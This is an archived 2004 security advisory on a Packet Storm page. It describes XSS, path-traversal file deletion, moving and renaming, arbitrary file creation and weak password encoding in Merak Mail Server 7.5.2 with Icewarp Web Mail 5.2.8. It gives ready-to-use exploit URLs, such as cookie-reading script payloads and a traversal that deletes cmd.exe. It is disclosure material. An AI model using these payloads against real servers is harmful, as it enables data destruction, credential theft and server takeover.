what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

icewarpWebmail528.txt

icewarpWebmail528.txt
Posted Nov 10, 2004
Authored by ShineShadow

Merak Mail Server 7.5.2 with Icewarp Web Mail 5.2.8 is susceptible to various file maniuplation and cross site scripting flaws. Version 7.6.0 with Icewarp 5.3.0 is susceptible to two of these flaws.

tags | exploit, web, xss
SHA-256 | 2551a8715043bd94de9a0c8da273695f3dcf4c72accc7cfee01a9a3813d6fd41

icewarpWebmail528.txt

Change Mirror Download


TITLE: Multiple vulnerabilities in Icewarp Web Mail 5.2.8 : New face of old problems.

BACKGROUND

Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server, cutting-edge Merak Mail Server Instant Antispam and much more, is the fastest, most stable, secure and 100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security, functionality, scalability and multi-tiered delegated manageability over products costing thousands of dollars more yet lacking the sophistication that Merak delivers.
In less than 10 minutes you can have the same professional email server that organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers and Developers depend on every day.

Source: www.MerakMailServer.com

VULNERABLE PRODUCTS

MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3, #4 only)

DETAILS

1. Multiple cross-site scripting (XSS) vulnerabilities.

Description: Remote user, who HAS active session on Merak Mail Server, can execute cross-site scripting (XSS) attack.

Vulnerable pages:
send.html
attachment.html
folderitem.html

Examples:
http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&writepriority="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&copyfolder="><script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&messageid="><script>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error=<script>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title=</title><script>alert(document.cookie)</script>
http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold="><script>alert(document.cookie)</script> (“Outlook like” skins are not vulnerable)

2. Arbitrary direction creation on remote system.

Description: Remote user, who HAS active session on Merak Mail Server, can create arbitrary directories on local file system of the target.

Vulnerable page: viewaction.html

Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../../../../../../../[arbitary directory]&Move_x=1&originalfolder=blabla

Note: single logical drive on remote system is affected because relative paths are used

3. Simple encryption of users passwords.

Description: Very simple encryption of users passwords in users.cfg, settings.cfg (XOR), users.dat, user.dat (BASE64). If attacker got access to this files then he could take users and administrators passwords.

Vulnerable files:

[MerakDir] \config\settings.cfg
[MerakDir] \config\ [DomainName] \users.cfg
[MerakDir] \webmail\config\users.dat
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat

Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.

4. File creation with arbitrary content on remote system.

Description: Remote user, who HAS active session on Merak Mail Server, can create text file on Merak Mail Server with arbitrary content (include special characters). Name of file will be accounts.dat. Combining this vulnerability with vulnerability #7 attacker could executed arbitrary PHP code.

Vulnerable page: accountsettings_add.html

Example:
http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[arbitary text]

Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.

5. Arbitrary files deletion on remote system.

Description: Remote user, who HAS active session on Merak Mail Server, can delete arbitrary files on local file system of the target. It could be used for deleting arbitary data on an affected system or causing denial of service (DOS) conditions.

Vulnerable pages: viewaction.html

Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//…//…//…//winnt/system32/cmd.exe&action=delete&originalfolder=blabla

Note: single logical drive on remote system is affected because relative paths are used

6. Moving arbitrary files or directories on remote system.

Description: Remote user, who HAS active session on Merak Mail Server, can moving arbitrary files or directories on local file system of the target. It could be used for causing denial of service (DOS) conditions or access to arbitrary files on affected system.

Vulnerable page: viewaction.html

Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=...//...//...//...//config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../html/mail

Note: single logical drive on remote system is affected because relative paths are used

7. Renaming arbitrary files or directories on remote system.

Description: Remote user, who HAS active session on Merak Mail Server, can renaming arbitrary files or directories on local file system of the target. Moving files or directories also possible. It could be used for causing denial of service (DOS) conditions or access to arbitrary files on affected system.

Vulnerable page: folders.html

Example:
http://localhost:32000/mail/folders.html?id=[sessionid]&folderold=blabla/...//...//...//...//config/settings.cfg&folder=blabla/...//...//...//...//config/settings.html&Save_x=1

Note: single logical drive on remote system is affected because relative paths are used

EXPLOITATION

IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server (default ENABLE). User account on Merak Mail Server is needed.

WORKAROUND

Upgrade to MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 or disable Icewarp Web Mail service (Control.exe).

VENDOR STATUS

Not contacted.

SUMMARY

An attacker who successfully exploited vulnerabilities described in this report could take complete control of a Merak Mail Server 7.5.2 or an affected remote system. Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 also vulnerable to other (undescribed in this report) critical vulnerabilities. An attacker who successfully exploited of this undescribed vulnerabilities could take complete control of a Merak Mail Server or an affected remote system. I’m not advice to use this product, you must disable Icewarp Web Mail service.

CREDITS

ShineShadow, undependent computer security expert.
To get more information, please contact me by e-mail.

05.11.2004
ShineShadow,
ss_contacts@hotmail.com
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close